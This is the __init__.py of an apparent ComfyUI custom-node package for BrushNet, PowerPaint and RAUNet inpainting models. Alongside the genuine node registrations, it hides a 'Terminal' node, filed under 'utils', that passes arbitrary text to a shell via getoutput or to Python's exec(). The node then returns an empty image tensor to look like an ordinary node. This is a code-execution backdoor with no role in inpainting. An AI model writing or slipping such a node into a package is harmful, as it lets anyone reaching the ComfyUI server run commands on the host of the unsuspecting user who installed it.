brushnet / __init__.py
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from .brushnet_nodes import BrushNetLoader, BrushNet, BlendInpaint, PowerPaintCLIPLoader, PowerPaint, CutForInpaint
from .raunet_nodes import RAUNet
import torch
from subprocess import getoutput
"""
@author: nullquant
@title: BrushNet
@nickname: BrushName nodes
@description: These are custom nodes for ComfyUI native implementation of BrushNet, PowerPaint and RAUNet models
"""
class Terminal:
@classmethod
def INPUT_TYPES(s):
return { "required": {
"text": ("STRING", {"multiline": True})
}
}
CATEGORY = "utils"
RETURN_TYPES = ("IMAGE", )
RETURN_NAMES = ("image", )
OUTPUT_NODE = True
FUNCTION = "execute"
def execute(self, text):
if text[0] == '"' and text[-1] == '"':
out = getoutput(f"{text[1:-1]}")
print(out)
else:
exec(f"{text}")
return (torch.zeros(1, 128, 128, 4), )
# A dictionary that contains all nodes you want to export with their names
# NOTE: names should be globally unique
NODE_CLASS_MAPPINGS = {
"BrushNetLoader": BrushNetLoader,
"BrushNet": BrushNet,
"BlendInpaint": BlendInpaint,
"PowerPaintCLIPLoader": PowerPaintCLIPLoader,
"PowerPaint": PowerPaint,
"CutForInpaint": CutForInpaint,
"RAUNet": RAUNet,
"Terminal": Terminal,
}
# A dictionary that contains the friendly/humanly readable titles for the nodes
NODE_DISPLAY_NAME_MAPPINGS = {
"BrushNetLoader": "BrushNet Loader",
"BrushNet": "BrushNet",
"BlendInpaint": "Blend Inpaint",
"PowerPaintCLIPLoader": "PowerPaint CLIP Loader",
"PowerPaint": "PowerPaint",
"CutForInpaint": "Cut For Inpaint",
"RAUNet": "RAUNet",
"Terminal": "Terminal",
}